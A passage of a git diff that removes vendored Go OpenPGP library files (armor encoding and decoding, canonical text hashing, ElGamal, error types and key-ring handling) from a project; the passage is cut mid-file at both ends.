Block represents an OpenPGP armored structure. -// -// The encoded form is: -// -----BEGIN Type----- -// Headers -// -// base64-encoded Bytes -// '=' base64 encoded checksum -// -----END Type----- -// where Headers is a possibly empty sequence of Key: Value lines. -// -// Since the armored data can be very large, this package presents a streaming -// interface. -type Block struct { - Type string // The type, taken from the preamble (i.e. "PGP SIGNATURE"). - Header map[string]string // Optional headers. - Body io.Reader // A Reader from which the contents can be read - lReader lineReader - oReader openpgpReader -} - -var ArmorCorrupt error = errors.StructuralError("armor invalid") - -const crc24Init = 0xb704ce -const crc24Poly = 0x1864cfb -const crc24Mask = 0xffffff - -// crc24 calculates the OpenPGP checksum as specified in RFC 4880, section 6.1 -func crc24(crc uint32, d []byte) uint32 { - for _, b := range d { - crc ^= uint32(b) << 16 - for i := 0; i < 8; i++ { - crc <<= 1 - if crc&0x1000000 != 0 { - crc ^= crc24Poly - } - } - } - return crc -} - -var armorStart = []byte("-----BEGIN ") -var armorEnd = []byte("-----END ") -var armorEndOfLine = []byte("-----") - -// lineReader wraps a line based reader. It watches for the end of an armor -// block and records the expected CRC value. -type lineReader struct { - in *bufio.Reader - buf []byte - eof bool - crc uint32 - crcSet bool -} - -func (l *lineReader) Read(p []byte) (n int, err error) { - if l.eof { - return 0, io.EOF - } - - if len(l.buf) > 0 { - n = copy(p, l.buf) - l.buf = l.buf[n:] - return - } - - line, isPrefix, err := l.in.ReadLine() - if err != nil { - return - } - if isPrefix { - return 0, ArmorCorrupt - } - - if bytes.HasPrefix(line, armorEnd) { - l.eof = true - return 0, io.EOF - } - - if len(line) == 5 && line[0] == '=' { - // This is the checksum line - var expectedBytes [3]byte - var m int - m, err = base64.StdEncoding.Decode(expectedBytes[0:], line[1:]) - if m != 3 || err != nil { - return - } - l.crc = uint32(expectedBytes[0])<<16 | - uint32(expectedBytes[1])<<8 | - uint32(expectedBytes[2]) - - line, _, err = l.in.ReadLine() - if err != nil && err != io.EOF { - return - } - if !bytes.HasPrefix(line, armorEnd) { - return 0, ArmorCorrupt - } - - l.eof = true - l.crcSet = true - return 0, io.EOF - } - - if len(line) > 96 { - return 0, ArmorCorrupt - } - - n = copy(p, line) - bytesToSave := len(line) - n - if bytesToSave > 0 { - if cap(l.buf) < bytesToSave { - l.buf = make([]byte, 0, bytesToSave) - } - l.buf = l.buf[0:bytesToSave] - copy(l.buf, line[n:]) - } - - return -} - -// openpgpReader passes Read calls to the underlying base64 decoder, but keeps -// a running CRC of the resulting data and checks the CRC against the value -// found by the lineReader at EOF. -type openpgpReader struct { - lReader *lineReader - b64Reader io.Reader - currentCRC uint32 -} - -func (r *openpgpReader) Read(p []byte) (n int, err error) { - n, err = r.b64Reader.Read(p) - r.currentCRC = crc24(r.currentCRC, p[:n]) - - if err == io.EOF && r.lReader.crcSet && r.lReader.crc != uint32(r.currentCRC&crc24Mask) { - return 0, ArmorCorrupt - } - - return -} - -// Decode reads a PGP armored block from the given Reader. It will ignore -// leading garbage. If it doesn't find a block, it will return nil, io.EOF. The -// given Reader is not usable after calling this function: an arbitrary amount -// of data may have been read past the end of the block. -func Decode(in io.Reader) (p *Block, err error) { - r := bufio.NewReaderSize(in, 100) - var line []byte - ignoreNext := false - -TryNextBlock: - p = nil - - // Skip leading garbage - for { - ignoreThis := ignoreNext - line, ignoreNext, err = r.ReadLine() - if err != nil { - return - } - if ignoreNext || ignoreThis { - continue - } - line = bytes.TrimSpace(line) - if len(line) > len(armorStart)+len(armorEndOfLine) && bytes.HasPrefix(line, armorStart) { - break - } - } - - p = new(Block) - p.Type = string(line[len(armorStart) : len(line)-len(armorEndOfLine)]) - p.Header = make(map[string]string) - nextIsContinuation := false - var lastKey string - - // Read headers - for { - isContinuation := nextIsContinuation - line, nextIsContinuation, err = r.ReadLine() - if err != nil { - p = nil - return - } - if isContinuation { - p.Header[lastKey] += string(line) - continue - } - line = bytes.TrimSpace(line) - if len(line) == 0 { - break - } - - i := bytes.Index(line, []byte(": ")) - if i == -1 { - goto TryNextBlock - } - lastKey = string(line[:i]) - p.Header[lastKey] = string(line[i+2:]) - } - - p.lReader.in = r - p.oReader.currentCRC = crc24Init - p.oReader.lReader = &p.lReader - p.oReader.b64Reader = base64.NewDecoder(base64.StdEncoding, &p.lReader) - p.Body = &p.oReader - - return -} diff --git a/vendor/golang.org/x/crypto/openpgp/armor/encode.go b/vendor/golang.org/x/crypto/openpgp/armor/encode.go deleted file mode 100644 index 6f07582c37..0000000000 --- a/vendor/golang.org/x/crypto/openpgp/armor/encode.go +++ /dev/null @@ -1,160 +0,0 @@ -// Copyright 2010 The Go Authors. All rights reserved. -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package armor - -import ( - "encoding/base64" - "io" -) - -var armorHeaderSep = []byte(": ") -var blockEnd = []byte("\n=") -var newline = []byte("\n") -var armorEndOfLineOut = []byte("-----\n") - -// writeSlices writes its arguments to the given Writer. -func writeSlices(out io.Writer, slices ...[]byte) (err error) { - for _, s := range slices { - _, err = out.Write(s) - if err != nil { - return err - } - } - return -} - -// lineBreaker breaks data across several lines, all of the same byte length -// (except possibly the last). Lines are broken with a single '\n'. -type lineBreaker struct { - lineLength int - line []byte - used int - out io.Writer - haveWritten bool -} - -func newLineBreaker(out io.Writer, lineLength int) *lineBreaker { - return &lineBreaker{ - lineLength: lineLength, - line: make([]byte, lineLength), - used: 0, - out: out, - } -} - -func (l *lineBreaker) Write(b []byte) (n int, err error) { - n = len(b) - - if n == 0 { - return - } - - if l.used == 0 && l.haveWritten { - _, err = l.out.Write([]byte{'\n'}) - if err != nil { - return - } - } - - if l.used+len(b) < l.lineLength { - l.used += copy(l.line[l.used:], b) - return - } - - l.haveWritten = true - _, err = l.out.Write(l.line[0:l.used]) - if err != nil { - return - } - excess := l.lineLength - l.used - l.used = 0 - - _, err = l.out.Write(b[0:excess]) - if err != nil { - return - } - - _, err = l.Write(b[excess:]) - return -} - -func (l *lineBreaker) Close() (err error) { - if l.used > 0 { - _, err = l.out.Write(l.line[0:l.used]) - if err != nil { - return - } - } - - return -} - -// encoding keeps track of a running CRC24 over the data which has been written -// to it and outputs a OpenPGP checksum when closed, followed by an armor -// trailer. -// -// It's built into a stack of io.Writers: -// encoding -> base64 encoder -> lineBreaker -> out -type encoding struct { - out io.Writer - breaker *lineBreaker - b64 io.WriteCloser - crc uint32 - blockType []byte -} - -func (e *encoding) Write(data []byte) (n int, err error) { - e.crc = crc24(e.crc, data) - return e.b64.Write(data) -} - -func (e *encoding) Close() (err error) { - err = e.b64.Close() - if err != nil { - return - } - e.breaker.Close() - - var checksumBytes [3]byte - checksumBytes[0] = byte(e.crc >> 16) - checksumBytes[1] = byte(e.crc >> 8) - checksumBytes[2] = byte(e.crc) - - var b64ChecksumBytes [4]byte - base64.StdEncoding.Encode(b64ChecksumBytes[:], checksumBytes[:]) - - return writeSlices(e.out, blockEnd, b64ChecksumBytes[:], newline, armorEnd, e.blockType, armorEndOfLine) -} - -// Encode returns a WriteCloser which will encode the data written to it in -// OpenPGP armor. -func Encode(out io.Writer, blockType string, headers map[string]string) (w io.WriteCloser, err error) { - bType := []byte(blockType) - err = writeSlices(out, armorStart, bType, armorEndOfLineOut) - if err != nil { - return - } - - for k, v := range headers { - err = writeSlices(out, []byte(k), armorHeaderSep, []byte(v), newline) - if err != nil { - return - } - } - - _, err = out.Write(newline) - if err != nil { - return - } - - e := &encoding{ - out: out, - breaker: newLineBreaker(out, 64), - crc: crc24Init, - blockType: bType, - } - e.b64 = base64.NewEncoder(base64.StdEncoding, e.breaker) - return e, nil -} diff --git a/vendor/golang.org/x/crypto/openpgp/canonical_text.go b/vendor/golang.org/x/crypto/openpgp/canonical_text.go deleted file mode 100644 index e601e389f1..0000000000 --- a/vendor/golang.org/x/crypto/openpgp/canonical_text.go +++ /dev/null @@ -1,59 +0,0 @@ -// Copyright 2011 The Go Authors. All rights reserved. -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package openpgp - -import "hash" - -// NewCanonicalTextHash reformats text written to it into the canonical -// form and then applies the hash h. See RFC 4880, section 5.2.1. -func NewCanonicalTextHash(h hash.Hash) hash.Hash { - return &canonicalTextHash{h, 0} -} - -type canonicalTextHash struct { - h hash.Hash - s int -} - -var newline = []byte{'\r', '\n'} - -func (cth *canonicalTextHash) Write(buf []byte) (int, error) { - start := 0 - - for i, c := range buf { - switch cth.s { - case 0: - if c == '\r' { - cth.s = 1 - } else if c == '\n' { - cth.h.Write(buf[start:i]) - cth.h.Write(newline) - start = i + 1 - } - case 1: - cth.s = 0 - } - } - - cth.h.Write(buf[start:]) - return len(buf), nil -} - -func (cth *canonicalTextHash) Sum(in []byte) []byte { - return cth.h.Sum(in) -} - -func (cth *canonicalTextHash) Reset() { - cth.h.Reset() - cth.s = 0 -} - -func (cth *canonicalTextHash) Size() int { - return cth.h.Size() -} - -func (cth *canonicalTextHash) BlockSize() int { - return cth.h.BlockSize() -} diff --git a/vendor/golang.org/x/crypto/openpgp/elgamal/elgamal.go b/vendor/golang.org/x/crypto/openpgp/elgamal/elgamal.go deleted file mode 100644 index 72a6a73947..0000000000 --- a/vendor/golang.org/x/crypto/openpgp/elgamal/elgamal.go +++ /dev/null @@ -1,124 +0,0 @@ -// Copyright 2011 The Go Authors. All rights reserved. -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -// Package elgamal implements ElGamal encryption, suitable for OpenPGP, -// as specified in "A Public-Key Cryptosystem and a Signature Scheme Based on -// Discrete Logarithms," IEEE Transactions on Information Theory, v. IT-31, -// n. 4, 1985, pp. 469-472. -// -// This form of ElGamal embeds PKCS#1 v1.5 padding, which may make it -// unsuitable for other protocols. RSA should be used in preference in any -// case. -package elgamal // import "golang.org/x/crypto/openpgp/elgamal" - -import ( - "crypto/rand" - "crypto/subtle" - "errors" - "io" - "math/big" -) - -// PublicKey represents an ElGamal public key. -type PublicKey struct { - G, P, Y *big.Int -} - -// PrivateKey represents an ElGamal private key. -type PrivateKey struct { - PublicKey - X *big.Int -} - -// Encrypt encrypts the given message to the given public key. The result is a -// pair of integers. Errors can result from reading random, or because msg is -// too large to be encrypted to the public key. -func Encrypt(random io.Reader, pub *PublicKey, msg []byte) (c1, c2 *big.Int, err error) { - pLen := (pub.P.BitLen() + 7) / 8 - if len(msg) > pLen-11 { - err = errors.New("elgamal: message too long") - return - } - - // EM = 0x02 || PS || 0x00 || M - em := make([]byte, pLen-1) - em[0] = 2 - ps, mm := em[1:len(em)-len(msg)-1], em[len(em)-len(msg):] - err = nonZeroRandomBytes(ps, random) - if err != nil { - return - } - em[len(em)-len(msg)-1] = 0 - copy(mm, msg) - - m := new(big.Int).SetBytes(em) - - k, err := rand.Int(random, pub.P) - if err != nil { - return - } - - c1 = new(big.Int).Exp(pub.G, k, pub.P) - s := new(big.Int).Exp(pub.Y, k, pub.P) - c2 = s.Mul(s, m) - c2.Mod(c2, pub.P) - - return -} - -// Decrypt takes two integers, resulting from an ElGamal encryption, and -// returns the plaintext of the message. An error can result only if the -// ciphertext is invalid. Users should keep in mind that this is a padding -// oracle and thus, if exposed to an adaptive chosen ciphertext attack, can -// be used to break the cryptosystem. See ``Chosen Ciphertext Attacks -// Against Protocols Based on the RSA Encryption Standard PKCS #1'', Daniel -// Bleichenbacher, Advances in Cryptology (Crypto '98), -func Decrypt(priv *PrivateKey, c1, c2 *big.Int) (msg []byte, err error) { - s := new(big.Int).Exp(c1, priv.X, priv.P) - if s.ModInverse(s, priv.P) == nil { - return nil, errors.New("elgamal: invalid private key") - } - s.Mul(s, c2) - s.Mod(s, priv.P) - em := s.Bytes() - - firstByteIsTwo := subtle.ConstantTimeByteEq(em[0], 2) - - // The remainder of the plaintext must be a string of non-zero random - // octets, followed by a 0, followed by the message. - // lookingForIndex: 1 iff we are still looking for the zero. - // index: the offset of the first zero byte. - var lookingForIndex, index int - lookingForIndex = 1 - - for i := 1; i < len(em); i++ { - equals0 := subtle.ConstantTimeByteEq(em[i], 0) - index = subtle.ConstantTimeSelect(lookingForIndex&equals0, i, index) - lookingForIndex = subtle.ConstantTimeSelect(equals0, 0, lookingForIndex) - } - - if firstByteIsTwo != 1 || lookingForIndex != 0 || index < 9 { - return nil, errors.New("elgamal: decryption error") - } - return em[index+1:], nil -} - -// nonZeroRandomBytes fills the given slice with non-zero random octets. -func nonZeroRandomBytes(s []byte, rand io.Reader) (err error) { - _, err = io.ReadFull(rand, s) - if err != nil { - return - } - - for i := 0; i < len(s); i++ { - for s[i] == 0 { - _, err = io.ReadFull(rand, s[i:i+1]) - if err != nil { - return - } - } - } - - return -} diff --git a/vendor/golang.org/x/crypto/openpgp/errors/errors.go b/vendor/golang.org/x/crypto/openpgp/errors/errors.go deleted file mode 100644 index eb0550b2d0..0000000000 --- a/vendor/golang.org/x/crypto/openpgp/errors/errors.go +++ /dev/null @@ -1,72 +0,0 @@ -// Copyright 2010 The Go Authors. All rights reserved. -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -// Package errors contains common error types for the OpenPGP packages. -package errors // import "golang.org/x/crypto/openpgp/errors" - -import ( - "strconv" -) - -// A StructuralError is returned when OpenPGP data is found to be syntactically -// invalid. -type StructuralError string - -func (s StructuralError) Error() string { - return "openpgp: invalid data: " + string(s) -} - -// UnsupportedError indicates that, although the OpenPGP data is valid, it -// makes use of currently unimplemented features. -type UnsupportedError string - -func (s UnsupportedError) Error() string { - return "openpgp: unsupported feature: " + string(s) -} - -// InvalidArgumentError indicates that the caller is in error and passed an -// incorrect value. -type InvalidArgumentError string - -func (i InvalidArgumentError) Error() string { - return "openpgp: invalid argument: " + string(i) -} - -// SignatureError indicates that a syntactically valid signature failed to -// validate. -type SignatureError string - -func (b SignatureError) Error() string { - return "openpgp: invalid signature: " + string(b) -} - -type keyIncorrectError int - -func (ki keyIncorrectError) Error() string { - return "openpgp: incorrect key" -} - -var ErrKeyIncorrect error = keyIncorrectError(0) - -type unknownIssuerError int - -func (unknownIssuerError) Error() string { - return "openpgp: signature made by unknown entity" -} - -var ErrUnknownIssuer error = unknownIssuerError(0) - -type keyRevokedError int - -func (keyRevokedError) Error() string { - return "openpgp: signature made by revoked key" -} - -var ErrKeyRevoked error = keyRevokedError(0) - -type UnknownPacketTypeError uint8 - -func (upte UnknownPacketTypeError) Error() string { - return "openpgp: unknown packet type: " + strconv.Itoa(int(upte)) -} diff --git a/vendor/golang.org/x/crypto/openpgp/keys.go b/vendor/golang.org/x/crypto/openpgp/keys.go deleted file mode 100644 index faa2fb3693..0000000000 --- a/vendor/golang.org/x/crypto/openpgp/keys.go +++ /dev/null @@ -1,693 +0,0 @@ -// Copyright 2011 The Go Authors. All rights reserved. -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package openpgp - -import ( - "crypto/rsa" - "io" - "time" - - "golang.org/x/crypto/openpgp/armor" - "golang.org/x/crypto/openpgp/errors" - "golang.org/x/crypto/openpgp/packet" -) - -// PublicKeyType is the armor type for a PGP public key. -var PublicKeyType = "PGP PUBLIC KEY BLOCK" - -// PrivateKeyType is the armor type for a PGP private key. -var PrivateKeyType = "PGP PRIVATE KEY BLOCK" - -// An Entity represents the components of an OpenPGP key: a primary public key -// (which must be a signing key), one or more identities claimed by that key, -// and zero or more subkeys, which may be encryption keys. -type Entity struct { - PrimaryKey *packet.PublicKey - PrivateKey *packet.PrivateKey - Identities map[string]*Identity // indexed by Identity.Name - Revocations []*packet.Signature - Subkeys []Subkey -} - -// An Identity represents an identity claimed by an Entity and zero or more -// assertions by other entities about that claim. -type Identity struct { - Name string // by convention, has the form "Full Name (comment) " - UserId *packet.UserId - SelfSignature *packet.Signature - Signatures []*packet.Signature -} - -// A Subkey is an additional public key in an Entity. Subkeys can be used for -// encryption. -type Subkey struct { - PublicKey *packet.PublicKey - PrivateKey *packet.PrivateKey - Sig *packet.Signature -} - -// A Key identifies a specific public key in an Entity. This is either the -// Entity's primary key or a subkey. -type Key struct { - Entity *Entity - PublicKey *packet.PublicKey - PrivateKey *packet.PrivateKey - SelfSignature *packet.Signature -} - -// A KeyRing provides access to public and private keys. -type KeyRing interface { - // KeysById returns the set of keys that have the given key id. - KeysById(id uint64) []Key - // KeysByIdAndUsage returns the set of keys with the given id - // that also meet the key usage given by requiredUsage. - // The requiredUsage is expressed as the bitwise-OR of - // packet.KeyFlag* values. - KeysByIdUsage(id uint64, requiredUsage byte) []Key - // DecryptionKeys returns all private keys that are valid for - // decryption. - DecryptionKeys() []Key -} - -// primaryIdentity returns the Identity marked as primary or the first identity -// if none are so marked. -func (e *Entity) primaryIdentity() *Identity { - var firstIdentity *Identity - for _, ident := range e.Identities { - if firstIdentity == nil { - firstIdentity = ident - } - if ident.SelfSignature.IsPrimaryId != nil && *ident.SelfSignature.IsPrimaryId { - return ident - } - } - return firstIdentity -} - -// encryptionKey returns the best candidate Key for encrypting a message to the -// given Entity. -func (e *Entity) encryptionKey(now time.Time) (Key, bool) { - candidateSubkey := -1 - - // Iterate the keys to find the newest key - var maxTime time.Time - for i, subkey := range e.Subkeys { - if subkey.Sig.FlagsValid && - subkey.Sig.FlagEncryptCommunications && - subkey.PublicKey.PubKeyAlgo.CanEncrypt() && - !subkey.Sig.KeyExpired(now) && - (maxTime.IsZero() || subkey.Sig.CreationTime.After(maxTime)) { - candidateSubkey = i - maxTime = subkey.Sig.CreationTime - } - } - - if candidateSubkey != -1 { - subkey := e.Subkeys[candidateSubkey] - return Key{e, subkey.PublicKey, subkey.PrivateKey, subkey.Sig}, true - } - - // If we don't have any candidate subkeys for encryption and - // the primary key doesn't have any usage metadata then we - // assume that the primary key is ok. Or, if the primary key is - // marked as ok to encrypt to, then we can obviously use it. - i := e.primaryIdentity() - if !i.SelfSignature.FlagsValid || i.SelfSignature.FlagEncryptCommunications && - e.PrimaryKey.PubKeyAlgo.CanEncrypt() && - !i.SelfSignature.KeyExpired(now) { - return Key{e, e.PrimaryKey, e.PrivateKey, i.SelfSignature}, true - } - - // This Entity appears to be signing only. - return Key{}, false -} - -// signingKey return the best candidate Key for signing a message with this -// Entity. -func (e *Entity) signingKey(now time.Time) (Key, bool) { - candidateSubkey := -1 - - for i, subkey := range e.Subkeys { - if subkey.Sig.FlagsValid && - subkey.Sig.FlagSign && - subkey.PublicKey.PubKeyAlgo.CanSign() && - !subkey.Sig.KeyExpired(now) { - candidateSubkey = i - break - } - } - - if candidateSubkey != -1 { - subkey := e.Subkeys[candidateSubkey] - return Key{e, subkey.PublicKey, subkey.PrivateKey, subkey.Sig}, true - } - - // If we have no candidate subkey then we assume that it's ok to sign - // with the primary key. - i := e.primaryIdentity() - if !i.SelfSignature.FlagsValid || i.SelfSignature.FlagSign && - !i.SelfSignature.KeyExpired(now) { - return Key{e, e.PrimaryKey, e.PrivateKey, i.SelfSignature}, true - } - - return Key{}, false -} - -// An EntityList contains one or more Entities. -type EntityList []*Entity - -// KeysById returns the set of keys that have the given key id. -func (el EntityList) KeysById(id uint64) (keys []Key) { - for _, e := range el { - if e.PrimaryKey.KeyId == id { - var selfSig *packet.Signature - for _, ident := range e.Identities { - if selfSig == nil { - selfSig = ident.SelfSignature - } else if ident.SelfSignature.IsPrimaryId != nil && *ident.SelfSignature.IsPrimaryId { - selfSig = ident.SelfSignature - break - } - } - keys = append(keys, Key{e, e.PrimaryKey, e.PrivateKey, selfSig}) - } - - for _, subKey := range e.Subkeys { - if subKey.PublicKey.KeyId == id { - keys = append(keys, Key{e, subKey.PublicKey, subKey.PrivateKey, subKey.Sig}) - } - } - } - return -} - -// KeysByIdAndUsage returns the set of keys with the given id that also meet -// the key usage given by requiredUsage. The requiredUsage is expressed as -// the bitwise-OR of packet.KeyFlag* values. -func (el EntityList) KeysByIdUsage(id uint64, requiredUsage byte) (keys []Key) { - for _, key := range el.KeysById(id) { - if len(key.Entity.Revocations) > 0 { - continue - } - - if key.SelfSignature.RevocationReason != nil { - continue - } - - if key.SelfSignature.FlagsValid && requiredUsage != 0 { - var usage byte - if key.SelfSignature.FlagCertify { - usage |= packet.KeyFlagCertify - } - if key.SelfSignature.FlagSign { - usage |= packet.KeyFlagSign - } - if key.SelfSignature.FlagEncryptCommunications { - usage |= packet.KeyFlagEncryptCommunications - } - if key.SelfSignature.FlagEncryptStorage { - usage |= packet.KeyFlagEncryptStorage - } - if usage&requiredUsage != requiredUsage { - continue - } - } - - keys = append(keys, key) - } - return -} - -// DecryptionKeys returns all private keys that are valid for decryption. -func (el EntityList) DecryptionKeys() (keys []Key) { - for _, e := range el { - for _, subKey := range e.Subkeys { - if subKey.PrivateKey != nil && (!subKey.Sig.FlagsValid || subKey.Sig.FlagEncryptStorage || subKey.Sig.FlagEncryptCommunications) { - keys = append(keys, Key{e, subKey.PublicKey, subKey.PrivateKey, subKey.Sig}) - } - } - } - return -} - -// ReadArmoredKeyRing reads one or more public/private keys from an armor keyring file. -func ReadArmoredKeyRing(r io.Reader) (EntityList, error) { - block, err := armor.Decode(r) - if err == io.EOF { - return nil, errors.InvalidArgumentError("no armored data found") - } - if err != nil { - return nil, err - } - if block.Type != PublicKeyType && block.Type != PrivateKeyType { - return nil, errors.InvalidArgumentError("expected public or private key block, got: " + block.Type) - } - - return ReadKeyRing(block.Body) -} - -// ReadKeyRing reads one or more public/private keys. Unsupported keys are -// ignored as long as at least a single valid key is found. -func ReadKeyRing(r io.Reader) (el EntityList, err error) { - packets := packet.NewReader(r) - var lastUnsupportedError error - - for { - var e *Entity - e, err = ReadEntity(packets) - if err != nil { - // TODO: warn about skipped unsupported/unreadable keys - if _, ok := err.(errors.UnsupportedError); ok { - lastUnsupportedError = err - err = readToNextPublicKey(packets) - } else if _, ok := err.(errors.StructuralError); ok { - // Skip unreadable, badly-formatted keys - lastUnsupportedError = err - err = readToNextPublicKey(packets) - } - if err == io.EOF { - err = nil - break - } - if err != nil { - el = nil - break - } - } else { - el = append(el, e) - } - } - - if len(el) == 0 && err == nil { - err = lastUnsupportedError - } - return -} - -// readToNextPublicKey reads packets until the start of the entity and leaves -// the first packet of the new entity in the Reader. -func readToNextPublicKey(packets *packet.Reader) (err error) { - var p packet.Packet - for { - p, err = packets.Next() - if err == io.EOF { - return - } else if err != nil { - if _, ok := err.(errors.UnsupportedError); ok { - err = nil - continue - } - return - } - - if pk, ok := p.(*packet.PublicKey); ok && !pk.IsSubkey { - packets.Unread(p) - return - } - } -} - -// ReadEntity reads an entity (public key, identities, subkeys etc) from the -// given Reader. -func ReadEntity(packets *packet.Reader) (*Entity, error) { - e := new(Entity) - e.Identities = make(map[string]*Identity) - - p, err := packets.Next() - if err != nil { - return nil, err - } - - var ok bool - if e.PrimaryKey, ok = p.(*packet.PublicKey); !ok { - if e.PrivateKey, ok = p.(*packet.PrivateKey); !ok { - packets.Unread(p) - return nil, errors.StructuralError("first packet was not a public/private key") - } - e.PrimaryKey = &e.PrivateKey.PublicKey - } - - if !e.PrimaryKey.PubKeyAlgo.CanSign() { - return nil, errors.StructuralError("primary key cannot be used for signatures") - } - - var revocations []*packet.Signature -EachPacket: - for { - p, err := packets.Next() - if err == io.EOF { - break - } else if err != nil { - return nil, err - } - - switch pkt := p.(type) { - case *packet.UserId: - if err := addUserID(e, packets, pkt); err != nil { - return nil, err - } - case *packet.Signature: - if pkt.SigType == packet.SigTypeKeyRevocation { - revocations = append(revocations, pkt) - } else if pkt.SigType == packet.SigTypeDirectSignature { - // TODO: RFC4880 5.2.1 permits signatures - // directly on keys (eg. to bind additional - // revocation keys). - } - // Else, ignoring the signature as it does not follow anything - // we would know to attach it to. - case *packet.PrivateKey: - if pkt.IsSubkey == false { - packets.Unread(p) - break EachPacket - } - err = addSubkey(e, packets, &pkt.PublicKey, pkt) - if err != nil { - return nil, err - } - case *packet.PublicKey: - if pkt.IsSubkey == false { - packets.Unread(p) - break EachPacket - } - err = addSubkey(e, packets, pkt, nil) - if err != nil { - return nil, err - } - default: - // we ignore unknown packets - } - } - - if len(e.Identities) == 0 { - return nil, errors.StructuralError("entity without any identities") - } - - for _, revocation := range revocations { - err = e.PrimaryKey.VerifyRevocationSignature(revocation) - if err == nil { - e.Revocations = append(e.Revocations, revocation) - } else { - // TODO: RFC 4880 5.2.3.15 defines revocation keys. - return nil, errors.StructuralError("revocation signature signed by alternate key") - } - } - - return e, nil -} - -func addUserID(e *Entity, packets *packet.Reader, pkt *packet.UserId) error { - // Make a new Identity object, that we might wind up throwing away. - // We'll only add it if we get a valid self-signature over this - // userID. - identity := new(Identity) - identity.Name = pkt.Id - identity.UserId = pkt - - for { - p, err := packets.Next() - if err == io.EOF { - break - } else if err != nil { - return err - } - - sig, ok := p.(*packet.Signature) - if !ok { - packets.Unread(p) - break - } - - if (sig.SigType == packet.SigTypePositiveCert || sig.SigType == packet.SigTypeGenericCert) && sig.IssuerKeyId != nil && *sig.IssuerKeyId == e.PrimaryKey.KeyId { - if err = e.PrimaryKey.VerifyUserIdSignature(pkt.Id, e.PrimaryKey, sig); err != nil { - return errors.StructuralError("user ID self-signature invalid: " + err.Error()) - } - identity.SelfSignature = sig - e.Identities[pkt.Id] = identity - } else { - identity.Signatures = append(identity.Signatures, sig) - } - } - - return nil -} - -func addSubkey(e *Entity, packets *packet.Reader, pub *packet.PublicKey, priv *packet.PrivateKey) error { - var subKey Subkey - subKey.PublicKey = pub - subKey.PrivateKey = priv - - for { - p, err := packets.Next() - if err == io.EOF { - break - } else if err != nil { - return errors.StructuralError("subkey signature invalid: " + err.Error()) - } - - sig, ok := p.(*packet.Signature) - if !ok { - packets.Unread(p) - break - } - - if sig.SigType != packet.SigTypeSubkeyBinding && sig.SigType != packet.SigTypeSubkeyRevocation { - return errors.StructuralError("subkey signature with wrong type") - } - - if err := e.PrimaryKey.VerifyKeySignature(subKey.PublicKey, sig); err != nil { - return errors.StructuralError("subkey signature invalid: " + err.Error()) - } - - switch sig.SigType { - case packet.SigTypeSubkeyRevocation: - subKey.Sig = sig - case packet.SigTypeSubkeyBinding: - - if shouldReplaceSubkeySig(subKey.Sig, sig) { - subKey.Sig = sig - } - } - } - - if subKey.Sig == nil { - return errors.StructuralError("subkey packet not followed by signature") - } - - e.Subkeys = append(e.Subkeys, subKey) - - return nil -} - -func shouldReplaceSubkeySig(existingSig, potentialNewSig *packet.Signature) bool { - if potentialNewSig == nil { - return false - } - - if existingSig == nil { - return true - } - - if existingSig.SigType == packet.SigTypeSubkeyRevocation { - return false // never override a revocation signature - } - - return potentialNewSig.CreationTime.After(existingSig.CreationTime) -} - -const defaultRSAKeyBits = 2048 - -// NewEntity returns an Entity that contains a fresh RSA/RSA keypair with a -// single identity composed of the given full name, comment and email, any of -// which may be empty but must not contain any of "()<>\x00". -// If config is nil, sensible defaults will be used. -func NewEntity(name, comment, email string, config *packet.Config) (*Entity, error) { - creationTime := config.Now() - - bits := defaultRSAKeyBits - if config != nil && config.RSABits != 0 { - bits = config.RSABits - } - - uid := packet.NewUserId(name, comment, email) - if uid == nil { - return nil, errors.InvalidArgumentError("user id field contained invalid characters") - } - signingPriv, err := rsa.GenerateKey(config.Random(), bits) - if err != nil { - return nil, err - } - encryptingPriv, err := rsa.GenerateKey(config.Random(), bits) - if err != nil { - return nil, err - } - - e := &Entity{ - PrimaryKey: packet.NewRSAPublicKey(creationTime, &signingPriv.PublicKey), - PrivateKey: packet.NewRSAPrivateKey(creationTime, signingPriv), - Identities: make(map[string]*Identity), - } - isPrimaryId := true - e.Identities[uid.Id] = &Identity{ - Name: uid.Id, - UserId: uid, - SelfSignature: &packet.Signature{ - CreationTime: creationTime, - SigType: packet.SigTypePositiveCert, - PubKeyAlgo: packet.PubKeyAlgoRSA, - Hash: config.Hash(), - IsPrimaryId: &isPrimaryId, - FlagsValid: true, - FlagSign: true, - FlagCertify: true, - IssuerKeyId: &e.PrimaryKey.KeyId, - }, - } - err = e.Identities[uid.Id].SelfSignature.SignUserId(uid.Id, e.PrimaryKey, e.PrivateKey, config) - if err != nil { - return nil, err - } - - // If the user passes in a DefaultHash via packet.Config, - // set the PreferredHash for the SelfSignature. - if config != nil && config.DefaultHash != 0 { - e.Identities[uid.Id].SelfSignature.PreferredHash = []uint8{hashToHashId(config.DefaultHash)} - } - - // Likewise for DefaultCipher. - if config != nil && config.DefaultCipher != 0 { - e.Identities[uid.Id].SelfSignature.PreferredSymmetric = []uint8{uint8(config.DefaultCipher)} - } - - e.Subkeys = make([]Subkey, 1) - e.Subkeys[0] = Subkey{ - PublicKey: packet.NewRSAPublicKey(creationTime, &encryptingPriv.PublicKey), - PrivateKey: packet.NewRSAPrivateKey(creationTime, encryptingPriv), - Sig: &packet.Signature{ - CreationTime: creationTime, - SigType: packet.SigTypeSubkeyBinding, - PubKeyAlgo: packet.PubKeyAlgoRSA, - Hash: config.Hash(), - FlagsValid: true, - FlagEncryptStorage: true, - FlagEncryptCommunications: true, - IssuerKeyId: &e.PrimaryKey.KeyId, - }, - } - e.Subkeys[0].PublicKey.IsSubkey = true - e.Subkeys[0].PrivateKey.IsSubkey = true - err = e.Subkeys[0].Sig.SignKey(e.Subkeys[0].PublicKey, e.PrivateKey, config) - if err != nil { - return nil, err - } - return e, nil -} - -// SerializePrivate serializes an Entity, including private key material, but -// excluding signatures from other entities, to the given Writer. -// Identities and subkeys are re-signed in case they changed since NewEntry. -// If config is nil, sensible defaults will be used. -func (e *Entity) SerializePrivate(w io.Writer, config *packet.Config) (err error) { - err = e.PrivateKey.Serialize(w) - if err != nil { - return - } - for _, ident := range e.Identities { - err = ident.UserId.Serialize(w) - if err != nil { - return - } - err = ident.SelfSignature.SignUserId(ident.UserId.Id, e.PrimaryKey, e.PrivateKey, config) - if err != nil { - return - } - err = ident.SelfSignature.Serialize(w) - if err != nil { - return - } - } - for _, subkey := range 